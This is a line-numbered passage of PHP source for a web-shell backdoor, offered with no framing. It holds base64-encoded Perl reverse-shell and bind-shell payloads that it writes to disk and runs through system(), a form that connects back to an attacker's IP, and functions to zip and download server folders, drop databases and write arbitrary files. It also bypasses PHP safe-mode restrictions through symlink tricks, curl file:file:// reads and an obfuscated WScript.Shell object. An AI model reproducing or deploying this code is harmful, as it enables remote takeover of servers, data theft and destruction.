    387. 

  387. download($_GET['address'],$_GET['filename']);}

    388. 

  388. if($_GET['do']=="down" and $_GET['type']=='dir'){

    389. 

  389. class zipfile

    390. 

  390. {

    391. 

  391. var $datasec = array(); 

    392. 

  392. var $ctrl_dir = array(); 

    393. 

  393. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";

    394. 

  394. var $old_offset = 0;

    395. 

  395. function add_dir($name)

    396. 

  396. {

    397. 

  397. $name = str_replace("\\", "/", $name);

    398. 

  398. $fr = "\x50\x4b\x03\x04";

    399. 

  399. $fr .= "\x0a\x00";

    400. 

  400. $fr .= "\x00\x00";

    401. 

  401. $fr .= "\x00\x00";

    402. 

  402. $fr .= "\x00\x00\x00\x00";

    403. 

  403. $fr .= pack("V",0);

    404. 

  404. $fr .= pack("V",0);

    405. 

  405. $fr .= pack("V",0);

    406. 

  406. $fr .= pack("v", strlen($name) ); 

    407. 

  407. $fr .= pack("v", 0 );

    408. 

  408. $fr .= $name;

    409. 

  409. $fr .= pack("V",$crc); 

    410. 

  410. $fr .= pack("V",$c_len); 

    411. 

  411. $fr .= pack("V",$unc_len);

    412. 

  412. $this -> datasec[] = $fr;

    413. 

  413. $new_offset = strlen(implode("", $this->datasec));

    414. 

  414. $cdrec = "\x50\x4b\x01\x02";

    415. 

  415. $cdrec .="\x00\x00"; 

    416. 

  416. $cdrec .="\x0a\x00"; 

    417. 

  417. $cdrec .="\x00\x00"; 

    418. 

  418. $cdrec .="\x00\x00"; 

    419. 

  419. $cdrec .="\x00\x00\x00\x00"; 

    420. 

  420. $cdrec .= pack("V",0); 

    421. 

  421. $cdrec .= pack("V",0); 

    422. 

  422. $cdrec .= pack("V",0); 

    423. 

  423. $cdrec .= pack("v", strlen($name) );

    424. 

  424. $cdrec .= pack("v", 0 );

    425. 

  425. $cdrec .= pack("v", 0 ); 

    426. 

  426. $cdrec .= pack("v", 0 ); 

    427. 

  427. $cdrec .= pack("v", 0 ); 

    428. 

  428. $ext = "\x00\x00\x10\x00";

    429. 

  429. $ext = "\xff\xff\xff\xff";

    430. 

  430. $cdrec .= pack("V", 16 );

    431. 

  431. $cdrec .= pack("V", $this -> old_offset );

    432. 

  432. $this -> old_offset = $new_offset;

    433. 

  433. $cdrec .= $name;

    434. 

  434. $this -> ctrl_dir[] = $cdrec;

    435. 

  435. }

    436. 

  436. function add_file($data, $name)

    437. 

  437. {

    438. 

  438. $name = str_replace("\\", "/", $name);

    439. 

  439. $fr = "\x50\x4b\x03\x04";

    440. 

  440. $fr .= "\x14\x00";

    441. 

  441. $fr .= "\x00\x00";

    442. 

  442. $fr .= "\x08\x00"; 

    443. 

  443. $fr .= "\x00\x00\x00\x00";

    444. 

  444. $unc_len = strlen($data);

    445. 

  445. $crc = crc32($data);

    446. 

  446. $zdata = gzcompress($data);

    447. 

  447. $zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2);

    448. 

  448. $c_len = strlen($zdata);

    449. 

  449. $fr .= pack("V",$crc);

    450. 

  450. $fr .= pack("V",$c_len);

    451. 

  451. $fr .= pack("V",$unc_len);

    452. 

  452. $fr .= pack("v", strlen($name) );

    453. 

  453. $fr .= pack("v", 0 );

    454. 

  454. $fr .= $name;

    455. 

  455. $fr .= $zdata;

    456. 

  456. $fr .= pack("V",$crc);

    457. 

  457. $fr .= pack("V",$c_len); 

    458. 

  458. $fr .= pack("V",$unc_len); 

    459. 

  459. $this -> datasec[] = $fr;

    460. 

  460. $new_offset = strlen(implode("", $this->datasec));

    461. 

  461. $cdrec = "\x50\x4b\x01\x02";

    462. 

  462. $cdrec .="\x00\x00";

    463. 

  463. $cdrec .="\x14\x00"; 

    464. 

  464. $cdrec .="\x00\x00";

    465. 

  465. $cdrec .="\x08\x00";

    466. 

  466. $cdrec .="\x00\x00\x00\x00"; 

    467. 

  467. $cdrec .= pack("V",$crc); 

    468. 

  468. $cdrec .= pack("V",$c_len); 

    469. 

  469. $cdrec .= pack("V",$unc_len); 

    470. 

  470. $cdrec .= pack("v", strlen($name) );

    471. 

  471. $cdrec .= pack("v", 0 ); 

    472. 

  472. $cdrec .= pack("v", 0 ); 

    473. 

  473. $cdrec .= pack("v", 0 ); 

    474. 

  474. $cdrec .= pack("v", 0 ); 

    475. 

  475. $cdrec .= pack("V", 32 ); 

    476. 

  476. $cdrec .= pack("V", $this -> old_offset );

    477. 

  477. $this -> old_offset = $new_offset;

    478. 

  478. $cdrec .= $name;

    479. 

  479. $this -> ctrl_dir[] = $cdrec;

    480. 

  480. }

    481. 

  481. function file() { 

    482. 

  482. $data = implode("", $this -> datasec);

    483. 

  483. $ctrldir = implode("", $this -> ctrl_dir);

    484. 

  484. return

    485. 

  485. $data.

    486. 

  486. $ctrldir.

    487. 

  487. $this -> eof_ctrl_dir.

    488. 

  488. pack("v", sizeof($this -> ctrl_dir)).

    489. 

  489. pack("v", sizeof($this -> ctrl_dir)). 

    490. 

  490. pack("V", strlen($ctrldir)). 

    491. 

  491. pack("V", strlen($data)). 

    492. 

  492. "\x00\x00";

    493. 

  493. }

    494. 

  494. }

    495. 

  495. $dlfolder=$_GET['address'].$slash.$_GET['dirname'].$slash;

    496. 

  496. $zipfile = new zipfile();

    497. 

  497. function get_files_from_folder($directory, $put_into) {

    498. 

  498. global $zipfile;

    499. 

  499. if ($handle = opendir($directory)) {

    500. 

  500. while (false !== ($file = readdir($handle))) {

    501. 

  501. if (is_file($directory.$file)) {

    502. 

  502. $fileContents = file_get_contents($directory.$file);

    503. 

  503. $zipfile->add_file($fileContents, $put_into.$file);

    504. 

  504. } elseif ($file != '.' and $file != '..' and is_dir($directory.$file)) {

    505. 

  505. $zipfile->add_dir($put_into.$file.'/');

    506. 

  506. get_files_from_folder($directory.$file.'/', $put_into.$file.'/');

    507. 

  507. }

    508. 

  508. }

    509. 

  509. }

    510. 

  510. closedir($handle);

    511. 

  511. }

    512. 

  512. $datedl=date("y-m-d");

    513. 

  513. get_files_from_folder($dlfolder,'');

    514. 

  514. header("Content-Disposition: attachment; filename=" . $_GET['dirname']."-".$datedl.".zip");   

    515. 

  515. header("Content-Type: application/download");

    516. 

  516. header("Content-Length: " . strlen($zipfile -> file()));

    517. 

  517. flush();

    518. 

  518. echo $zipfile -> file(); 

    519. 

  519. $filename = $_GET['dirname']."-".$datedl.".zip";

    520. 

  520. $fd = fopen ($filename, "wb");

    521. 

  521. $out = fwrite ($fd, $zipfile -> file());

    522. 

  522. fclose ($fd);

    523. 

  523. }

    524. 

  524. if ($_REQUEST['cdirname']){

    525. 

  525. if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}}

    526. 

  526. function bcn($ipbc,$pbc){

    527. 

  527. $bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3

    528. 

  528. NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb

    529. 

  529. MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw

    530. 

  530. dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n

    531. 

  531. IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo

    532. 

  532. YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN

    533. 

  533. LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0

    534. 

  534. KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll

    535. 

  535. KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog

    536. 

  536. IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4

    537. 

  537. ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";

    538. 

  538. $opbc=fopen("bcc.pl","w");

    539. 

  539. fwrite($opbc,base64_decode($bcperl));

    540. 

  540. fclose($opbc);

    541. 

  541. system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");

    542. 

  542. }

    543. 

  543. function wbp($wb){

    544. 

  544. $wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj

    545. 

  545. cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j

    546. 

  546. a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu

    547. 

  547. ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs

    548. 

  548. IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl

    549. 

  549. IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO

    550. 

  550. VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT

    551. 

  551. VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";

    552. 

  552. $opwb=fopen("wbp.pl","w");

    553. 

  553. fwrite($opwb,base64_decode($wbp));

    554. 

  554. fclose($opwb);

    555. 

  555. echo getcwd();

    556. 

  556. system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");

    557. 

  557. }

    558. 

  558. function lbp($wb){

    559. 

  559. $lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv

    560. 

  560. YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg

    561. 

  561. U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF

    562. 

  562. VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO

    563. 

  563. QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw

    564. 

  564. dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7

    565. 

  565. b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o

    566. 

  566. Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";

    567. 

  567. $oplb=fopen("lbp.pl","w");

    568. 

  568. fwrite($oplb,base64_decode($lbp));

    569. 

  569. fclose($oplb);

    570. 

  570. system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");

    571. 

  571. }

    572. 

  572. 

    573. 

  573. if($_REQUEST['portbw']){

    574. 

  574. wbp($_REQUEST['portbw']);

    575. 

  575. 

    576. 

  576. }if($_REQUEST['portbl']){

    577. 

  577. lbp($_REQUEST['portbl']);

    578. 

  578. }

    579. 

  579. if($_REQUEST['ipcb'] && $_REQUEST['portbc']){

    580. 

  580. bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);

    581. 

  581. 

    582. 

  582. }

    583. 

  583. 

    584. 

  584. if($_REQUEST['do']=="bc"){

    585. 

  585. echo $head.$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Back Connect >>>>>><br>Ip Address : <input name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input name=portbc value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Windows Bind Port >>>>>><br>Port : <input name=portbw value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Linux Bind Port >>>>>><br>Port : <input name=portbl value=5555><br><input type=submit value=Connect></form>".$end;exit;

    586. 

  586. 

    587. 

  587. }

    588. 

  588. function copyf($file1,$file2,$filename){

    589. 

  589. global $slash;

    590. 

  590. $fpc = fopen($file1, "rb");

    591. 

  591. $source = '';

    592. 

  592. while (!feof($fpc)) {

    593. 

  593. $source .= fread($fpc, 8192);

    594. 

  594. }

    595. 

  595. fclose($fpc);

    596. 

  596. $opt = fopen($file2.$slash.$filename, "w");

    597. 

  597. fwrite($opt, $source);

    598. 

  598. fclose($opt);

    599. 

  599. }

    600. 

  600. if ($_REQUEST['copyname'] && $_REQUEST['cpyto']){

    601. 

  601. if(is_writable($_REQUEST['cpyto'])){

    602. 

  602. echo $_REQUEST['address'];

    603. 

  603. copyf($_REQUEST['address'].$slash.$_REQUEST['copyname'],$_REQUEST['cpyto'],$_REQUEST['copyname']);

    604. 

  604. }else{alert("Permission Denied !");}}

    605. 

  605. if($_REQUEST['cfilename']){

    606. 

  606. 

    607. 

  607. echo $head.$formp.$nowaddress.'<p align="center"><b>Create File</b><br><textarea rows="19" name="nf4cs" cols="87"></textarea><br><input value="'.$_REQUEST['cfilename'].'" name=nf4c size=50><br><input type=submit value="  Create  "></form>'.$end;exit;

    608. 

  608. }

    609. 

  609. 

    610. 

  610. if($_REQUEST['nf4c'] && $_REQUEST['nf4cs']){

    611. 

  611. if($ofile4c=fopen($_REQUEST['nf4c'],"w")){

    612. 

  612. fwrite($ofile4c,$_REQUEST['nf4cs']);

    613. 

  613. fclose($ofile4c);

    614. 

  614. alert("File Saved !");}else{alert("Permission Denied !");}}

    615. 

  615. 

    616. 

  616. function sqlclienT(){

    617. 

  617. global $t,$errorbox,$et,$hcwd;

    618. 

  618. if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){

    619. 

  619. $server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];

    620. 

  620. $db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];

    621. 

  621. $_SESSION[server]=$_REQUEST['serveR'];$_SESSION[type]=$_REQUEST['typE'];$_SESSION[pass]=$_REQUEST['pasS'];$_SESSION[user]=$_REQUEST['useR'];

    622. 

  622. 

    623. 

  623. }

    624. 

  624. 

    625. 

  625. if (isset ($_GET[select_db])){

    626. 

  626. 	$getdb=$_GET[select_db];

    627. 

  627. 	$_SESSION[db]=$getdb;

    628. 

  628. 	$query="SHOW TABLES";

    629. 

  629. 	$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);

    630. 

  630. }

    631. 

  631. elseif (isset ($_GET[select_tbl])){

    632. 

  632. 	$tbl=$_GET[select_tbl];

    633. 

  633. 	$_SESSION[tbl]=$tbl;

    634. 

  634. 	$query="SELECT * FROM `$tbl`";

    635. 

  635. 	$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);

    636. 

  636. }

    637. 

  637. elseif (isset ($_GET[drop_db])){

    638. 

  638. 	$getdb=$_GET[drop_db];

    639. 

  639. 	$_SESSION[db]=$getdb;

    640. 

  640. 	$query="DROP DATABASE `$getdb`";

    641. 

  641. 	querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'',$query);

    642. 

  642. 	$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'','SHOW DATABASES');

    643. 

  643. }

    644. 

  644. elseif (isset ($_GET[drop_tbl])){

    645. 

  645. 	$getbl=$_GET[drop_tbl];

    646. 

  646. 	$query="DROP TABLE `$getbl`";

    647. 

  647. 	querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);

    648. 

  648. 	$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],'SHOW TABLES');

    649. 

  649. }

    650. 

  650. elseif (isset ($_GET[drop_row])){

    651. 

  651. 	$getrow=$_GET[drop_row];

    652. 

  652. 	$getclm=$_GET[clm];

    653. 

  653. 	$query="DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'";

    654. 

  654. 	$tbl=$_SESSION[tbl];

    655. 

  655. 	querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);

    656. 

  656. 	$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],"SELECT * FROM `$tbl`");

    657. 

  657. }

    658. 

  658. else

    659. 

  659. 	$res=querY($type,$server,$user,$pass,$db,$query);

    660. 

  660. 

    661. 

  661. if($res){

    662. 

  662. $res=htmlspecialchars($res);

    663. 

  663. $row=array ();

    664. 

  664. $title=explode('[+][+][+]',$res);

    665. 

  665. $trow=explode('[-][-][-]',$title[1]);

    666. 

  666. $row=explode('|+|+|+|+|+|',$title[0]);

    667. 

  667. $data=array();

    668. 

  668. $field=$trow[count($trow)-2];

    669. 

  669. if (strstr($trow[0],'Database')!='')

    670. 

  670. 	$obj='db';

    671. 

  671. elseif (substr($trow[0],0,6)=='Tables')

    672. 

  672. 	$obj='tbl';

    673. 

  673. else

    674. 

  674. 	$obj='row';

    675. 

  675. $i=0;

    676. 

  676. foreach ($row as $a){

    677. 

  677. if($a!='')

    678. 

  678. $data[$i++]=explode('|-|-|-|-|-|',$a);

    679. 

  679. }

    680. 

  680. 

    681. 

  681. echo "<table border=1 bordercolor='#C6C6C6' cellpadding='2' bgcolor='EAEAEA' width='100%' style='border-collapse: collapse'><tr>";

    682. 

  682. foreach ($trow as $ti)

    683. 

  683. echo "<td bgcolor='F2F2F2'>$ti</td>";

    684. 

  684. echo "</tr>";

    685. 

  685. $j=0;

    686. 

  686. while ($data[$j]){

    687. 

  687. 	echo "<tr>";

    688. 

  688. 	foreach ($data[$j++] as $dr){

    689. 

  689. 		echo "<td>";

    690. 

  690. 		if($obj!='row') echo "<a href='$_SERVER[PHP_SELF]?do=db&select_$obj=$dr'>";

    691. 

  691. 		echo $dr;

    692. 

  692. 		if($obj!='row') echo "</a>";

    693. 

  693. 		echo "</td>";

    694. 

  694. 	}

    695. 

  695. 	echo "<td><a href='$_SERVER[PHP_SELF]?do=db&drop_$obj=$dr";

    696. 

  696. 	if($obj=='row')

    697. 

  697. 		echo "&clm=$field";

    698. 

  698. 	echo "'>Drop</a></td></tr>";

    699. 

  699. }

    700. 

  700. echo "</table><br>";

    701. 

  701. 

    702. 

  702. }

    703. 

  703. 

    704. 

  704. 

    705. 

  705. 

    706. 

  706. 	

    707. 

  707. 

    708. 

  708. if(empty($_REQUEST['typE']))$_REQUEST['typE']='';

    709. 

  709. echo "<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'><table border='1' width='400' style='border-collapse: collapse' id='table1' bordercolor='#C6C6C6' cellpadding='2'><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Connect to Database</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Type:</font></td><td width='250' bgcolor='#EAEAEA'><select name=typE><option valut=MySQL  onClick='document.client.serveR.disabled = false;' ";

    710. 

  710. if ($_REQUEST['typE']=='MySQL')echo 'selected';

    711. 

  711. echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";

    712. 

  712. if ($_REQUEST['typE']=='MSSQL')echo 'selected';

    713. 

  713. echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";

    714. 

  714. if ($_REQUEST['typE']=='Oracle')echo 'selected';

    715. 

  715. echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";

    716. 

  716. if ($_REQUEST['typE']=='PostgreSQL')echo 'selected';

    717. 

  717. echo ">PostgreSQL</option><option valut=DB2 onClick='document.client.serveR.disabled = false;' ";

    718. 

  718. if ($_REQUEST['typE']=='DB2')echo 'selected';

    719. 

  719. echo ">IBM DB2</option></select></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Server Address:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";

    720. 

  720. if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; 

    721. 

  721. echo "' name=serveR size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Username:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text name=useR value='";

    722. 

  722. if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; 

    723. 

  723. echo "' size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Password:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";

    724. 

  724. if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123'; 

    725. 

  725. echo "' name=pasS size=35></td></tr><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Submit a Query</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Name:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";

    726. 

  726. if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); 

    727. 

  727. echo "' name=dB size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Query:</font></td><td width='250' bgcolor='#EAEAEA'><textarea name=querY rows=5 cols=27>";

    728. 

  728. if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; 

    729. 

  729. echo "</textarea></td></tr><tr><td width='400' colspan='2' bgcolor='#EAEAEA'>$hcwd<input class=buttons type=submit value='Submit' style='float: right'></td></tr></table></form>$et</center>";

    730. 

  730. }

    731. 

  731. 

    732. 

  732. 

    733. 

  733. function querY($type,$host,$user,$pass,$db='',$query){

    734. 

  734. $res='';

    735. 

  735. switch($type){

    736. 

  736. case 'MySQL':

    737. 

  737. if(!function_exists('mysql_connect'))return 0;

    738. 

  738. $link=mysql_connect($host,$user,$pass);

    739. 

  739. if($link){

    740. 

  740. if(!empty($db))mysql_select_db($db,$link);

    741. 

  741. $result=mysql_query($query,$link);

    742. 

  742. if ($result!=1){

    743. 

  743. while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';

    744. 

  744. $res.='[+][+][+]';

    745. 

  745. for($i=0;$i<mysql_num_fields($result);$i++)

    746. 

  746. $res.=mysql_field_name($result,$i).'[-][-][-]';

    747. 

  747. }

    748. 

  748. mysql_close($link);

    749. 

  749. return $res;

    750. 

  750. }

    751. 

  751. break;

    752. 

  752. case 'MSSQL':

    753. 

  753. if(!function_exists('mssql_connect'))return 0;

    754. 

  754. $link=mssql_connect($host,$user,$pass);

    755. 

  755. if($link){

    756. 

  756. if(!empty($db))mssql_select_db($db,$link);

    757. 

  757. $result=mssql_query($query,$link);

    758. 

  758. while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';

    759. 

  759. $res.='[+][+][+]';

    760. 

  760. for($i=0;$i<mssql_num_fields($result);$i++)

    761. 

  761. $res.=mssql_field_name($result,$i).'[-][-][-]';

    762. 

  762. mssql_close($link);

    763. 

  763. return $res;

    764. 

  764. }

    765. 

  765. break;

    766. 

  766. case 'Oracle':

    767. 

  767. if(!function_exists('ocilogon'))return 0;

    768. 

  768. $link=ocilogon($user,$pass,$db);

    769. 

  769. if($link){

    770. 

  770. $stm=ociparse($link,$query);

    771. 

  771. ociexecute($stm,OCI_DEFAULT);

    772. 

  772. while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';

    773. 

  773. $res.='[+][+][+]';

    774. 

  774. for($i=0;$i<oci_num_fields($stm);$i++)

    775. 

  775. $res.=oci_field_name($stm,$i).'[-][-][-]';

    776. 

  776. return $res;

    777. 

  777. }

    778. 

  778. break;

    779. 

  779. case 'PostgreSQL':

    780. 

  780. if(!function_exists('pg_connect'))return 0;

    781. 

  781. $link=pg_connect("host=$host dbname=$db user=$user password=$pass");

    782. 

  782. if($link){

    783. 

  783. $result=pg_query($link,$query);

    784. 

  784. while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';

    785. 

  785. $res.='[+][+][+]';

    786. 

  786. for($i=0;$i<pg_num_fields($result);$i++)

    787. 

  787. $res.=pg_field_name($result,$i).'[-][-][-]';

    788. 

  788. pg_close($link);

    789. 

  789. return $res;

    790. 

  790. }

    791. 

  791. break;

    792. 

  792. case 'DB2':

    793. 

  793. if(!function_exists('db2_connect'))return 0;

    794. 

  794. $link=db2_connect($db,$user,$pass);

    795. 

  795. if($link){

    796. 

  796. $result=db2_exec($link,$query);

    797. 

  797. while($data=db2_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';

    798. 

  798. $res.='[+][+][+]';

    799. 

  799. for($i=0;$i<db2_num_fields($result);$i++)

    800. 

  800. $res.=db2_field_name($result,$i).'[-][-][-]';

    801. 

  801. db2_close($link);

    802. 

  802. return $res;

    803. 

  803. }

    804. 

  804. break;

    805. 

  805. }

    806. 

  806. return 0;

    807. 

  807. }

    808. 

  808. function bywsym($file){

    809. 

  809. if(!function_exists('symlink')){echo "Function Symlink Not Exist";}

    810. 

  810. 

    811. 

  811. if(!is_writable("."))

    812. 

  812. 	die("not writable directory");

    813. 

  813. $level=0;

    814. 

  814. for($as=0;$as<$fakedep;$as++){

    815. 

  815. 	if(!file_exists($fakedir))

    816. 

  816. 		mkdir($fakedir);

    817. 

  817. 	chdir($fakedir);

    818. 

  818. }

    819. 

  819. while(1<$as--) chdir("..");

    820. 

  820. $hardstyle = explode("/", $file);

    821. 

  821. for($a=0;$a<count($hardstyle);$a++){

    822. 

  822. 	if(!empty($hardstyle[$a])){

    823. 

  823. 		if(!file_exists($hardstyle[$a])) 

    824. 

  824. 			mkdir($hardstyle[$a]);

    825. 

  825. 		chdir($hardstyle[$a]);

    826. 

  826. 		$as++;

    827. 

  827. }}

    828. 

  828. $as++;

    829. 

  829. while($as--)

    830. 

  830. 	chdir("..");

    831. 

  831. @rmdir("fakesymlink");

    832. 

  832. @unlink("fakesymlink");

    833. 

  833. @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

    834. 

  834. while(1)

    835. 

  835. 	if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;

    836. 

  836. 	else $num++;

    837. 

  837. @unlink("fakesymlink");

    838. 

  838. mkdir("fakesymlink");

    839. 

  839. }

    840. 

  840. function bypcu($file){

    841. 

  841. $level=0;

    842. 

  842. 

    843. 

  843. if(!file_exists("file:"))

    844. 

  844. 	mkdir("file:");

    845. 

  845. chdir("file:");

    846. 

  846. $level++;

    847. 

  847. 

    848. 

  848. $hardstyle = explode("/", $file);

    849. 

  849. 

    850. 

  850. for($a=0;$a<count($hardstyle);$a++){

    851. 

  851. 	if(!empty($hardstyle[$a])){

    852. 

  852. 		if(!file_exists($hardstyle[$a])) 

    853. 

  853. 			mkdir($hardstyle[$a]);

    854. 

  854. 		chdir($hardstyle[$a]);

    855. 

  855. 		$level++;

    856. 

  856. 	}

    857. 

  857. }

    858. 

  858. 

    859. 

  859. while($level--) chdir("..");

    860. 

  860. 

    861. 

  861. $ch = curl_init();

    862. 

  862. 

    863. 

  863. curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);

    864. 

  864. 

    865. 

  865. echo '<FONT COLOR="RED"> <textarea rows="40" cols="120">';

    866. 

  866. 

    867. 

  867. if(FALSE==curl_exec($ch))

    868. 

  868. 	die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');

    869. 

  869. 

    870. 

  870. echo ' </textarea> </FONT>';

    871. 

  871. 

    872. 

  872. curl_close($ch);

    873. 

  873. }

    874. 

  874. if ($_REQUEST['bypcu']){

    875. 

  875. bypcu($_REQUEST['bypcu']);

    876. 

  876. }

    877. 

  877. if($_REQUEST['do']=="bypasscmd"){

    878. 

  878. if($_POST['bycw']){

    879. 

  879. echo $_POST['bycw'];

    880. 

  880. $wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll');

    881. 

